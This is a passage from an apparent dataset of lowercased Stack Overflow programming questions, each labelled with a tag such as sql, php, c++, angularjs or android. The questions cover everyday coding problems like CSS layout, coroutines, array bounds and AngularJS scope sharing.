a463f4fa has a non null stop time  --- ( pair 2 ) </code></pre>   this is the real important data from the above output and this question really is focused around getting only the duration into a table from pair 1 and pair 2   <pre><code>indx    indx_road   segment status  intime  outtime rownum  c40fd10f    28992b99    1   0   2014-06-11 09:09:11.200 null    3 5b97f78a    28992b99    1   0   null    2014-06-11 09:09:20.200 12   --- ( pair 1 )  e55c20c5    28992b99    2   0   2014-06-11 09:09:21.200 null    13 a463f4fa    28992b99    2   0   null    2014-06-11 09:09:25.200 17   --- ( pair 2 ) </code></pre>   when the stored proc runs here are the results.  notice segment 1 and 2 have two durations each... one of them is a false positive   <pre><code>indx    indx_road   indx_user   segmentnumber   intime  outtime duration    daterecorded 382a9f0d    28992b99    22222222    1   2014-06-11 09:09:11.200 2014-06-11 09:09:20.200 9   2014-06-11 09:09:28.207 bc942182    28992b99    22222222    1   2014-06-11 09:09:11.200 2014-06-11 09:09:25.200 14  2014-06-11 09:09:28.207 548a0340    28992b99    22222222    2   2014-06-11 09:09:21.200 2014-06-11 09:09:20.200 -1  2014-06-11 09:09:28.207 e8322022    28992b99    22222222    2   2014-06-11 09:09:21.200 2014-06-11 09:09:25.200 4   2014-06-11 09:09:28.207 </code></pre>   i would like there to be only one duration  like this ( from pair 1 and pair 2 above )   <pre><code>indx    indx_road   indx_user   segmentnumber   intime  outtime duration    daterecorded bc942182    28992b99    22222222    1   2014-06-11 09:09:11.200 2014-06-11 09:09:25.200 14  2014-06-11 09:09:28.207 e8322022    28992b99    22222222    2   2014-06-11 09:09:21.200 2014-06-11 09:09:25.200 4   2014-06-11 09:09:28.207 </code></pre>   if you can provide any insights i would be grateful !     thanks...,sql
asp.net development server with basic authentication  anyone aware of how to get the asp.net dev server to challenge for basic authentication credentials instead of assuming my current login,asp.net
php - file_put_contents . how to suppress ouput of it   when i try to create a file with file_put_contents then it also outputs the file directly in the browser.    code:   <pre><code>file_put_contents($file  utf8_encode($seite)); </code></pre>   is there a way to suppress this output  documentation seems to not have a solution :(,php
do {...} while(false)  i was looking at some code by an individual and noticed he seems to have a pattern in his functions:   <pre><code>&lt;return-type&gt; function(&lt;params&gt;) {  &lt;initialization&gt;   do  {    &lt;main code for function&gt;  }  while(false);   &lt;tidy-up &amp; return&gt; } </code></pre>   it s not <em>bad</em>  more peculiar (the actual code is fairly neat and unsurprising). it s not something i ve seen before and i wondered if anyone can think of any logic behind it - background in a different language perhaps,c++
processstartinfo.windowstyle c#  i use the following to start one of my applications   <pre><code> // start the process  processstartinfo startinfo = new processstartinfo(this.exename);   startinfo.windowstyle = processwindowstyle.minimized;   controlprocess = system.diagnostics.process.start(startinfo); </code></pre>   the behavior that i see is that if there are no items in my task bar  the above starts my standalone application  by using the property this.exename to get the path of the application  and the standalone application is seen on the task bar.    if my taskbar has only a few items  the above situation does not happen and my stand alone application is only known when i find it in the task manager  which is what i want and not the scenario described in the above para.    essentially  i want to start an application and keep it running without displaying its ui  more like pre-load the application  and when user clicks on certain actions  bring the application to focus and enable it so that the user can perform actions    my sample code is from here  to see if this is a feasible solution for my own experimental project    <a href= http://www.codeproject.com/kb/miscctrl/appcontrol.aspx  rel= nofollow noreferrer >link text</a>,c#
i can t set background image to specific div  can anyone help me     here s the code     <strong>css</strong>   <pre><code>.booking-engine{     min-width: 992px;       min-height: 150px;     //background-color: aquamarine;     padding: 20px 0 20px 0;     background-image: url(images/taxi-img.jpeg) no-repeat; } </code></pre>   <strong>html</strong>   <pre><code>&lt;div align= center  class= booking-engine  style=  &gt;  &lt;/div&gt; </code></pre>,html
coroutines in python using yield  i am trying to understand <code>coroutines</code> in python with <code>yield</code> operator.   <pre><code>def minimize():     current = yield     while true:         value = yield current         current = min(value  current) </code></pre>   i have the function <code>minimize()</code> which returns the minimum value of the all the values that has been sent to the function till that point.   <pre><code>it = minimize() next(it)         print(it.send(10)) print(it.send(4)) print(it.send(22)) print(it.send(-1))  &gt;&gt;&gt; 10 4 4 -1 </code></pre>   i have a question regarding the function.    what does <code>current = yeild</code> achieve. from what i understood of <code>yield</code> in a generator context  <code>yeild</code> returns the next value when you use <code>next()</code> on the generator object.,python
objective c class extension. not able to assign value to readwrite property  i m new to objective c and learning class extensions using the ios developer library. in the customize existing class  i ve been asked to create a readonly property and then also create a class extension with the same property as readwrite.   <pre><code>//xyzperson.h @property (readonly) nsinteger height; @property (readonly) nsinteger weight;    -(nsinteger) measureheight;    -(nsinteger) measureweight;  //xyzperson.m @interface xyzperson() //class extension   @property (readwrite) nsinteger height;   @property (readwrite) nsinteger weight; @end  @implementation xyzperson  -(nsinteger) measureheight {     self.height = 100;     return self; }  -(nsinteger) measureweight {     self.weight = 80;     return self; } </code></pre>   my objective is to assign the height and weight value. when i build i get a compiler warning: incompatible pointer to integer conversion returning  xyzperson *const __strong  from a function with result type  nsinteger  (aka  long )  when i run the program the height and weight values are 0;    am i wrong with the syntax on assigning the values to nsinteger property,objective-c
encrypt ios app ipa file  i hope to encrypt the ipa file of a freeware for jailbreak users so that others cannot view the project details.    is there any tool to do this     welcome any comment,iphone
exception handling in wdk  i can t use exception handling in native subsystem.    this is my cpp file:    <pre><code>#include &lt;ntddk.h&gt; #include &lt;exception&gt;  int __cdecl  main () {     try     {       throw 20;      }     catch (int e)     {      }      return 0; } </code></pre>   and my sources file:   <pre><code>targetname = native targettype = program umtype = nt user_c_flags=$(user_c_flags) /eha sources = exeption.cpp \  includes=$(ddk_inc_path) minwin_sdk_lib_path=$(sdk_lib_path) targetlibs=$(ntdll_crt) $(sdk_lib_path)\ntdll.lib lib.lib </code></pre>   and my error s are:   <pre><code>error lnk2019: unresolved external symbol ___cxxframehandler3 referenced in function __ehhandler$_main  error lnk2019: unresolved external symbol __eh_epilog3 referenced in function __catch$_main$0  error lnk2019: unresolved external symbol __eh_prolog3_catch referenced in function _main  error lnk2019: unresolved external symbol __cxxthrowexception@8 referenced in function _main  error lnk2001: unresolved external symbol  const type_info::`vftable   (  _7type_info@@6b@) </code></pre>   how can i solve the problem,c++
removing .html extension from website  <code>&lt;center&gt;&lt;button onclick= window.location.href= /shop.html  &gt;shop&lt;/button&gt;&lt;/center&gt;</code>    i am trying to remove the .html tag from /shop.html. i have created a .htaccess file inside of my root folder. i included the follow inside;   <pre><code>options -multiviews rewriteengine on rewritecond %{request_filename} !-d rewritecond %{request_filename} !-f rewriterule ^([^\.]+)$ $1.html [nc l] </code></pre>   i then removed the .html from /shop.html and had no luck with error 404.     cheers  ben.,html
android powermanager wakelock – deprecated  the android sdk tells me that <code>powermanager.screen_dim_wake_lock</code> and similar constants are deprecated as of api level 17. it also says that <code>flag_keep_screen_on</code> can be used in most situations.    but what if this is not the case  in particular  i want to be able to have the screen dimmed but not shut off entirely. what are other   better  alternatives – or aren t there simply any,android
java robot class - simulating mouse clicks without moving the cursor  i am trying to simulate real mouse clicks without moving the cursor with javas robot class. is it possible putting this code in a while-loop or something to register the mouse position  and move the mouse to that position after the actual click  so far the code is told to move the mouse to the registered mouse position (it registers once i run the code) but i want it to move the mouse to the same position as my mouse is on  not somewhere in the corner. thank you.   <pre><code>           while(true) {             pointerinfo a = mouseinfo.getpointerinfo();             point b  = a.getlocation();             int xorig = (int)b.getx();             int yorig = (int)b.gety();           try {             robot r = new robot();             thread.sleep(3000);             r.mousemove(720  360);             r.mousepress(inputevent.button1_mask); //press the left mouse button             r.mouserelease(inputevent.button1_mask); //release the left mouse button              //move the mouse back to the original position             r.mousemove(xorig  yorig);         } catch (exception e) {             system.out.println(e.tostring());         }     } } </code></pre>   },java
rails: error messages partial not rendering  i can see in my console that the erorr_messages partial i made is getting rendered  and if a comment does not pass validations  then it will not be posted  but i can t get the actual error contents to render.    error partial:   <pre><code>&lt;% if object.errors.any  %&gt; &lt;div id= error_explanation &gt;     &lt;div class= alert alert-danger &gt;         the form contains &lt;%= pluralize(object.errors.count   error ) %&gt;     &lt;/div&gt;     &lt;ul&gt;     &lt;% object.errors.full_messages.each do |msg| %&gt;         &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;     &lt;% end %&gt;     &lt;/ul&gt;     &lt;/div&gt; &lt;% end %&gt; </code></pre>  <hr>   comment form   <pre><code>&lt;%= form_for @comment  url: comments_path do |f| %&gt; &lt;%= render  shared/error_messages   object: f.object %&gt; &lt;%= f.hidden_field :user_id  value: current_user.id %&gt; &lt;%= f.hidden_field :post_id  value: post.id %&gt; &lt;%= f.text_area :content  size:  60x2   placeholder:  comment on this post...  %&gt; &lt;%= f.submit  comment  %&gt; </code></pre>  <hr>   post form   <pre><code>&lt;%= form_for [@user  @post] do |f| %&gt; &lt;%= render  shared/error_messages   object: f.object %&gt; &lt;%= f.text_area :content  size:  60x12   placeholder:  what do you want to say   %&gt; &lt;%= f.submit  post  %&gt; </code></pre>    <hr>   users/show   <pre><code> &lt;% if @user == current_user %&gt; &lt;h4&gt;welcome &lt;%= current_user.email %&gt;! &lt;/h4&gt; &lt;%= render  notifications  %&gt; &lt;%= render  shared/post_form  %&gt;  &lt;%= render  feed  %&gt; &lt;% end %&gt; </code></pre>  <hr>  <pre><code> class commentscontroller &lt; applicationcontroller def index     @comments = comment.all end  def new     @comment = comment.new     @user = user.find(params[:user_id]) end  def create     @user = current_user     @comment = @user.comments.build(comment_params)      if @comment.save         flash[:success] =  comment posted!          redirect_back(fallback_location: root_path)     else         flash[:danger] =  could not post comment          redirect_back(fallback_location: root_path)     end end   private  def comment_params     params.require(:comment).permit(:content  :user_id  :post_id) end end </code></pre>  <hr>  <pre><code> class postscontroller &lt; applicationcontroller  def index     @posts = post.all     @user = user.find(params[:user_id])     @comment = comment.new end  def new     @post = post.new     @user = user.find(params[:user_id]) end  def create     @post = current_user.posts.build(post_params)     if @post.save         flash[:success] =  posted!          redirect_to user_path(current_user)     else         flash[:danger] =  post could not be submitted          redirect_to users_path     end end  private  def post_params     params.require(:post).permit(:content) end end </code></pre>,ruby-on-rails
i am facing a very awkward situation in c  in this code  the value of <code>rr</code> is working properly only when i am using the <code>printf</code> statement  otherwise the code is entering into the while loop even if <code>rr</code> is actually an integer value  for example <code>rr = 2.0</code>.    <a href= http://pastebin.com/qriq8i23  rel= nofollow >my full code here</a>   <pre><code>    double rr = log(c)/log(2);     printf( current value of rr is %lf\n  rr);       while(!(rr == (int)rr))     {         printf( hung in loop with c = %d\n  c);              if(c % 2 == 0)                 c = c/2;             else                 c = (c-1)/2;             rr = log(c)/log(2);             cc++;      }     </code></pre>   this is the weirdest problem i have ever faced. the question is codechef august challenge problem 1.,c
parse error: syntax error  unexpected  catch  (tlve this err_catch) on line 41  hello can you please help me to dissolve this error    i am beginner in php :)   <pre><code>protected function runquery($sql) {     $pdo = $this-&gt;conn;     $stmt = $pdo-&gt;prepare($sql);      if($stmt) {         $stmt-&gt;execute($sql);     } else {         print_r( unable to prepare the query );     }     catch(pdoexception $e) {         print_r($e);         exit(0);     } }  </code></pre>,php
why am i getting an index was outside the bounds of the array exception   the code below works  but it throws an exception message box every time. the message box says   index was outside the bounds of the array . i would like to not see the messagebox  but i would also like to not have an empty exception catch. what have i done wrong    <pre><code>private void btnreadfile_click(object sender  eventargs e)     {         stream mystream;          openfiledialog ofd = new openfiledialog();          if (ofd.showdialog() == dialogresult.ok)         {             if ((mystream = ofd.openfile()) != null)             {                 try                 {                     streamreader sr = new streamreader(mystream);                      while (sr.peek() &gt;=0)                     {                         for (int i = 0; i &lt; mystream.length; i++)                         {                              string[] lines = sr.readline().split(new char [] {  \t  }     stringsplitoptions.none);                              string one = lines[0];                             string two = lines[1];                             string three = lines[2];                              listviewitem item = new listviewitem(new string[] { one  two  three });                              lvrollresults.items.add(item);                          }                      }                      sr.close();                 }                  catch (exception ex)                 {                     messagebox.show(ex.message);                 }             }         }      } </code></pre>   ==================================update========================================== after reading and adding psl s code to mine i ended up with a new exception (object referenced is not set to an instance of an object.    here is my new code. i changed to while loop looking for a null and added a realine() inside the while loop.  this code now works with no exceptions.   <pre><code>private void btnreadfile_click(object sender  eventargs e)     {         stream mystream;          openfiledialog ofd = new openfiledialog();          if (ofd.showdialog() == dialogresult.ok)         {             if ((mystream = ofd.openfile()) != null)             {                 try                 {                     streamreader sr = new streamreader(mystream);                      while ((sr.readline()) != null)//if line is null stop reading                     {                         string[] lines = sr.readline().split(new char[] {  \t  }  stringsplitoptions.none);                                  string one = lines[0];                                 string two = string.empty;                                 string three = string.empty;                                  if (lines.length &gt; 1)                                     two = lines[1];                                  if (lines.length &gt; 2)                                     three = lines[2];                                  listviewitem item = new listviewitem(new string[] { one  two  three });                                  lvrollresults.items.add(item);                                 sr.readline();//read a line to see if it is null                      }                      sr.close();                  }                  catch (exception ex)                 {                     messagebox.show(ex.message);                 }             }         }      } </code></pre>,.net
eventloginstaller and installutil on windows server 2008  im using the trick to create the source and custom event logs on my machine but when i run it on windows server 2008 i get a log not found error when running the installutil.exe command. of course its not found as i want it to be created!! any ideas  i m running the commands as administrator sorry this is the trick <a href= http://support.microsoft.com/default.aspx scid=kb;en-us;329291  rel= nofollow >http://support.microsoft.com/default.aspx scid=kb;en-us;329291</a> im trying to use the second approach  but with the following   <pre><code>myeventloginstaller.log =  customapp ; </code></pre>,.net
find and replace characters in links  i would like to replace character  _  inside links but only inside href ...  (links have with different  title  and some of them have  target  blank )   ... . i tried with dreamweaver  find and replace  but not succeed (don t know how to do it). can anyone please help  thank you in advance.,html
two php classes: only variables should be passed by reference  i have parent and child php classes. i can t use a variable from parent class as bind-variable in mysqli statement (php take it as constant ). help me please look   <pre><code>&lt; php class cparent{     public $var1;     public function __construct(){         $this-&gt;var1 = 1;     } } class cchild extends cparent{     private $mysqli;     public function __construct(){         parent::__construct();       }     public function getvar1(){         return $this-&gt;var1;     }     public function some_mysqli_func(){         if (!$stmt = $this-&gt;mysqli-&gt;prepare( insert into bla(var) values ( ) )){                 echo  error:   . $this-&gt;mysqli-&gt;error;                 return false;         }         $stmt-&gt;bind_param( i   $this-&gt;var1);         $stmt-&gt;execute();     } } $child = new cchild(); echo $child-&gt;getvar1(); //ок $child-&gt;some_mysqli_func(); // only variables should be passed by reference php  &gt; </code></pre>,php
javascript: detecting script load completion  i m dynamically adding script usign:   <pre><code>var el = document.createelement( script ); document.getelementsbytagname( head )[0].appendchild(el); </code></pre>   it seems neither <code>script.onload</code> nor <code>document.onreadystatechange</code> could be used to determine the end of loading process. how should i catch dynamic script load completion,javascript
"position absolute ignoring width of parent when use padding  i have 2 divs 1 of parent    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.box {
   width: 960px;
   position: relative;
 }
 #content {
   width: 100%;
   position: absolute;
   background: yellow;
   background: 0  0  0  0.5;
   padding: 30px 20%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= box &gt;
   &lt;div id= content &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit. inventore blanditiis veniam autem repellat consequatur hic magnam  molestiae debitis doloremque quam
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     when i am using the padding for content div it overflows it s parent. by the way i must use the <code>width:100%;</code> for <code>#content</code> because  i want the padding in the content div because i m using background color for it so  how can i fix it     here is the <a href= http://codepen.io/anon/pen/emrpob  rel= nofollow >fiddle</a>",css
different text alignment to a row in table view  i want to add to my row a different string to the left  and a one to the centre and right .    i have read this: <a href= https://stackoverflow.com/questions/6906853/uitableview-is-it-possible-to-have-2-strings-in-the-same-cell-using-leftright >uitableview  is it possible to have 2 strings in the same cell using left+right justify </a>    but i did not fully understand how the label is added to the row.    is there a simple way to just set a string according to alignment     <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      static nsstring *cellidentifier = @ cell ;     uitableviewcell *cell = [self.tableview dequeuereusablecellwithidentifier:cellidentifier forindexpath:indexpath];  //something like : cell.righttext= cell.lefttext= </code></pre>,objective-c
i am getting a validation error from http://validator.w3.org  there is no attribute href  <pre><code> &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en    http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;   &lt;fb:like href= https://www.facebook.com/pages/north-carolina-military-foundation/101762603238869  send= true  layout= button_count  width= auto  show_faces= false  font=  &gt;&lt;/fb:like&gt; </code></pre>   i am getting a validation error from <a href= http://validator.w3.org  rel= nofollow >http://validator.w3.org</a> as  there is no attribute  href  send  latout  width  show_faces and font   is there any solution,html
how to watch for a property change in a directive  i have an angular directive (with isolate scope) set up like this   <pre><code>&lt;div ng= $last  somedirective datajson=mydata myprop= {{ mydata.myspecialprop }} &gt;&lt;/div&gt; </code></pre>   (which actually gets rendered multiple times because it s inside an ng-repeat.)    following the instructions of this <a href= https://stackoverflow.com/questions/20856824/angular-directive-refresh-on-parameter-change >so answer</a>  i tried to observe <code>myprop</code> for changes in the directive  however  the code inside the $scope.watch never runs even when the property changes (on a click event). i also tried <code>scope.$watch(attrs.myprop  function(a b){...)</code>and it never ran either. how do i watch for the change in <code>myprop</code>   <pre><code>myapp.directive( somedirective   function(){    return {       restrict:  ae         scope: {          datajson:  =            myprop:  @       }        link: function(scope  elem  attrs){        scope.$watch(scope.myprop  function(a b){          if (a != b){               console.log( doesn t get called when a not equal b );           }else{           }         });      }  }); } </code></pre>   update: the click event that changes the property is handle in the controller and i m guessing this isn t reflected back in the isolate scope directive so that $watch is never getting triggered. is there a way to handle that,angularjs
bizzare behavior with css margins  this page i have is super simple  this should be a breeze but i m stumped.    i have two divs  one inside the other. in the first div  i have the margins set so that it lays at the top of the page  centered. the second div should lay inside the first  centered  but with a 50px margin at top. however  the 50px margin is being applied to the parent div and not the child. if i add a border to the parent div  it behaves like i expect it to  but not without.    can anyone offer me any insight to this  thanks in advance.   <pre><code>&lt;div id= pagewrapper &gt;     &lt;div id= mainwrapper &gt;     &lt;p&gt;foo&lt;/p&gt;      &lt;/div&gt; &lt;/div&gt;  *{     margin:0px;     padding:0px;     } body{     background-color:#034375; } #pagewrapper{     width:960px;     margin:0px auto 0px auto;     background:url( i/blue-gradient.jpg ) top left no-repeat; } #mainwrapper{     width:500px;     margin:50px auto 0 auto;         border:1px solid #000000;     background-color:#eeeeee; } </code></pre>,css
how to test controller created via module.config in angularjs  i have a controller defined in following manner  it works perfect. but when i try to test this controller it says the  (controller name)  is not a function  got undefined . how can i test the controller defined this way.    controller.js   <pre><code>var mainmodule = angular.module( module1 );  function home($scope) {     $scope.test =  hello ; } home.$inject = [ $scope ];  mainmodule.config([ $routeprovider       function ($routeprovider) {         $routeprovider.when( /   {             templateurl:  partials/home.html               controller: home         });     } ]); </code></pre>   testspec.js   <pre><code>describe( test home controller   function () {   beforeeach(module( module1 ));     it( test the controller    inject(function ($rootscope  $controller) {         var ctrl = $controller( home   {             $scope: $rootscope         });         expect($rootscope.items.length).tobe(3);     })); }); </code></pre>,angularjs
loading enumerations from database  i have a problem with mapping .net enumerations to database tables. imagine i have a table called statuses with the following values:    statusid   |   name   <hr>   1              draft    2              ready    ...    ...    in the application layer  i can either use a repository to get all statuses as an ilist object. however  the problem with this approach is that i cannot reference a certain status in my business logic. for example  how can i implement something like this    <pre><code>if (myobject.status is ready)     do this else if (myobject.status is draft)     do that... </code></pre>   since the statuses are loaded dynamically  i cannot tell for sure what particular status object in the list represents the draft or ready status.     alternatively  i could just use an enumeration like    <pre><code>public enum statuses {     draft       ready }; </code></pre>   then i could easily use an enumeration in my business logic.    <pre><code>if (myobject.status == statuses.draft)     // do something... </code></pre>   however  the problem with this approach is that every time the user wants to modify the list of statuses (adding a new status  or renaming an existing status) the application has to be re-compiled. we cannot load the statuses dynamically from the database.     has anyone else come across a similar situation  any solutions/patterns     cheers     mosh,.net
change in scope variable updating service variable  can somebody please have a look at below plunker     <a href= http://plnkr.co/edit/othjcvvzje5cwmnfmeps p=preview  rel= nofollow >http://plnkr.co/edit/othjcvvzje5cwmnfmeps p=preview</a>    problem: change in the scope variable  specifications.selectedcolor  is overwriting the specifications of other products i.e changing the selectedcolor of all the products.    steps to reproduce: 1) click on buy now.  checkoutproductlist[0].selectedcolor is set to red. 2) select blue color from the drop-down.  3) click on buy now. checkoutproductlist[0].selectedcolor is set to blue.     on clicking buy now second time(step 3 above)  it adds another product in checkoutproductlist array i.e checkoutproductlist[1]  it should not change checkoutproductlist[0].selectedcolor from red to blue.    what can be done to keep specifications of each product separately     code:  contoller   <pre><code>var app = angular.module( plunker   [ ui.select    ngsanitize ]);  app.controller( mainctrl   function($rootscope  $scope checkoutservice) {    $scope.productavailablecolors=[ red   blue ];   $scope.specifications={ selectedcolor : red };      $scope.buynow = function (){          checkoutservice.setcheckoutproductlist($scope.specifications);   };  });   app.service ( checkoutservice   function (){   var checkoutproductlist=[];   this.setcheckoutproductlist = function ( specs){     checkoutproductlist.push(specs);     window.alert(checkoutproductlist.length);     window.alert(checkoutproductlist[0].selectedcolor);   }  }) </code></pre>   head   <pre><code>html: &lt;!doctype html&gt; &lt;html ng-app= plunker &gt;  &lt;head&gt;   &lt;meta charset= utf-8  /&gt;   &lt;title&gt;angularjs plunker&lt;/title&gt;    &lt;script&gt;     document.write( &lt;base href=   + document.location +    /&gt; );   &lt;/script&gt;   &lt;link rel= stylesheet  href= style.css  /&gt;   &lt;script data-require= angular.js@1.4.x  src= https://code.angularjs.org/1.4.12/angular.js  data-semver= 1.4.9 &gt;&lt;/script&gt;   &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.3/css/bootstrap.min.css  integrity= sha384-miwdkrssimvfazcvltu0lmddon6kvcrzhyvqqj6e8wiejkw4tvwqxrbmiya1vriy  crossorigin= anonymous &gt;   &lt;link rel= stylesheet  href= http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css &gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.0.0/jquery.min.js  integrity= sha384-thpy051/pydqganwu6poac/hodqxjnoexzbt+ouuafqnqfjl+4iglbgcjc3zoshy  crossorigin= anonymous &gt;&lt;/script&gt;   &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/tether/1.2.0/js/tether.min.js  integrity= sha384-plbmg8jy28kfelvjvai01l8wyzzrywg825m+cz0edds1f7d/js6ikvy1+x+gupib  crossorigin= anonymous &gt;&lt;/script&gt;   &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.3/js/bootstrap.min.js  integrity= sha384-ux8v3a6cptotqozmkiuo3d/domgaaclxfydcu2hpmbekf6x2xidyj7gkxu0mwwad  crossorigin= anonymous &gt;&lt;/script&gt;     &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.4.12/angular-sanitize.js &gt;&lt;/script&gt;   &lt;link rel= stylesheet  href= http://cdnjs.cloudflare.com/ajax/libs/select2/3.4.5/select2.css &gt;   &lt;link rel= stylesheet  href= http://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.8.5/css/selectize.default.css &gt;   &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/angular-ui-select/0.19.4/select.min.js &gt;&lt;/script&gt;   &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/angular-ui-select/0.19.4/select.min.css &gt;      &lt;script src= app.js &gt;&lt;/script&gt; &lt;/head&gt; </code></pre>   body   <pre><code>&lt;body ng-controller= mainctrl &gt;   &lt;div class= productmodal-circle        style= cursor: pointer; font-size: 14px;               aria-hidden= true         ng-click= buynow()        title= buy now!  id= buynow &gt;buy now                                     &lt;/div&gt;    &lt;div id= choices  class= panel-collapse collapse in &gt;         &lt;div class= panel-body &gt;                                                        &lt;ui-select ng-model= $parent.specifications.selectedcolor                 theme= bootstrap                 ng-disabled= false                 close-on-select= true                                                               style= color: black;                 title= choose color and design                 &gt;               &lt;ui-select-match placeholder= choose color/design &gt;{{$parent.specifications.selectedcolor}}&lt;/ui-select-match&gt;               &lt;ui-select-choices repeat= listitem in productavailablecolors | filter:$select.search &gt;                  &lt;div ng-bind-html= listitem | highlight: $select.search &gt;&lt;/div&gt;               &lt;/ui-select-choices&gt;            &lt;/ui-select&gt;         &lt;/div&gt;    &lt;/div&gt;   {{specifications | json}} &lt;/body&gt;   &lt;/html&gt; </code></pre>,angularjs
what is the market share for the various .net framework versions   does anyone know if these stats are collected or exist anywhere  any anecdotal evidence is at least slightly helpful,.net
how can i add new item to existing data using jquery  in my application i am doing jquery autocomplete textbox here when i enter values into textbox i need to add with comma separated value  to existing datasource    <pre><code> getdatasource: function getdatasource() {             var $input = this.$element;             var inputval = $.trim($input.val());//this is new item             var datasource = this.options.datasource;      var datasource = this.options.datasource.append(    inputval); //here i am getting exception               if (this.props.isfirstgetdatasource) {                 var objdatasource = {};                 for (var i = 0; i &lt; datasource.length; i++) {                     for (var key in datasource[i]) {                         this.options.datasource[i][key] = string(datasource[i][key]);                     }                 }                 this.props.isfirstgetdatasource = false;                 for (var _i2 = 0; _i2 &lt; datasource.length; _i2++) {                     objdatasource[datasource[_i2][this.options.id]] = datasource[_i2];                 }                 this.props.objdatasource = objdatasource;             }             return this.options.datasource;         } </code></pre>   here i am  using <a href= http://www.jqueryscript.net/demo/dynamic-autocomplete-multi-select-plugin-with-jquery-magicsearch/multiple.html  rel= nofollow noreferrer >http://www.jqueryscript.net/demo/dynamic-autocomplete-multi-select-plugin-with-jquery-magicsearch/multiple.html</a> for jquery autocomplete textbox for adding multiple items here when i type not exists data i am able to display no result found but instead of this i am displaying typing new data but when i select it it s shows in textbox (generally normally new data is not accepts textbox and search box is hide) but here the problem i am unable to select next data it s not separate with comma how can i do this,jquery
how to place flowplayer block/window for video playing on right hand side of the page  hi everyone    i am using flowplayer for uploading videos so that client can play them.i am working on localhost.now problem is that by default flowplayer comes in left hand side of the page.i want it to align on right hand side.i know somewhere align= right  or something like this will be used but i dont know where i have to put this word.i have tried a lot have done google have serched in flowplayer site have read their documentation but problem is not solved can anybody help me in this matter      <pre><code>&lt;head&gt;     &lt;title&gt;home page&lt;/title&gt;     &lt;script src= flowplayer-3.1.4.min.js &gt;&lt;/script&gt;  &lt;/head&gt;   in &lt;body&gt;  &lt;a      href= video.flv       style= display:block;width:250px;height:200px;align:right;       id= player &gt; &lt;/a&gt;   &lt;script language= javascript &gt; flowplayer( player    flowplayer-3.1.5.swf    { clip: { autoplay : false  autobuffering: true}});  //create a object of clip name &lt;/script&gt; </code></pre>,html
compare javascript values of different type (not strings)   how can i find all items in an array by matching a property and dealing with case insensitivity only if the values are strings   i have no way to know what data type the property on the object will be.  both the target value and property may be a date  string  number  etc.    i m basically trying to protect the next developer from shooting himself in the foot:   <pre><code>function getitemsbykey(key  value  iscasesensitive) {     var result = [];     (getall() || []).foreach(function(item){         if (!(!!iscasesensitive)) {             if (item[key] &amp;&amp; item[key].tostring().tolowercase() == value.tostring().tolowercase()) { result.push(item); }         } else {             if (item[key] == value) { result.push(item); }         }     });     return result; } </code></pre>   what happens if they pass in <code>iscasesensitive = true</code> and the values end up being dates or numbers... or mismatched,javascript
: doesn t work correctly in javascript  i written the following code to change the numbers to persian:   <pre><code>function farsi(x) {     x = x.tostring().replace(/\b( =(\d{3})+( !\d))/g     );     var a =  ۰۱۲۳۴۵۶۷۸۹ ; var b =   ;      for (var i = 0; i &lt; x.length; i++) {          var c = x.charcodeat(i);          b += (c &gt;= 48 || c &lt;= 57   a.charat(c - 48) : x.charat(i));      }      return b;  } </code></pre>   i have used the regex for thousand seprator from <a href= https://stackoverflow.com/questions/2901102/how-to-print-a-number-with-commas-as-thousands-separators-in-javascript >how to print a number with commas as thousands separators in javascript</a> which works correctly. but the separator character is not being added in this line of code:   <pre><code>b += (c &gt;= 48 || c &lt;= 57   a.charat(c - 48) : x.charat(i)); </code></pre>   here is the <a href= https://jsfiddle.net/4qvwzs5e/1  rel= nofollow noreferrer >fiddle</a>,javascript
c++ error array and struct  my program returns and error et i don t know why . how i can resolve this      error:    <strong>error: cannot bind  std::ostream {aka std::basic_ostream}  lvalue to  std::basic_ostream&amp;&amp; | error:   initializing argument 1 of  std::basic_ostream&lt;_chart  _traits>&amp; std::operator&lt;&lt;(std::basic_ostream&lt;_chart  _traits>&amp;&amp;  const _tp&amp;) [with _chart = char; _traits = std::char_traits; _tp = personne] |</strong>   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; #include &lt;vector&gt;  struct personne { int age; int nb_ami; };  int main() {     std::cout &lt;&lt;  entrer le nom du fichier:   &lt;&lt; std::endl;     std::string fileuser{};     std::cin &gt;&gt; fileuser;     std::ofstream(fileuser.c_str());     std::cout &lt;&lt;  quel age avez-vous    &lt;&lt; std::endl;     std::vector&lt;personne&gt; tab(1);     std::cin &gt;&gt; tab[0].age;     for (unsigned int i{}; i &lt; tab.size(); i++){         std::cout &lt;&lt; tab[i] &lt;&lt; std::endl;     }     return 0; } </code></pre>,c++
bc30108:  date  is a type and cannot be used as an expression in aspx.net <blockquote>    line 6:    line 7:      &lt;%    line 8:   response.write   the   function now returns:   &amp; now &amp;     line 9:   line 10:     response.write   the function date returns:   &amp; date &amp;            compiler error message: bc30800: method arguments must be enclosed in   parentheses.  </blockquote>   i am using simple notepad text file for execution. i am working on asp.net first time and i have at starting level.,asp.net
android email address logcat shows only numbers  in my android app i have into my strings.xml the following value:   <pre><code>&lt;string name= email &gt;mail@domain.com&lt;/string&gt; </code></pre>   in my main.class i have this log.e:   <pre><code>log.e( --&gt;     +r.string.email); </code></pre>   the output is:   <blockquote>    2131099691  </blockquote>   why,android
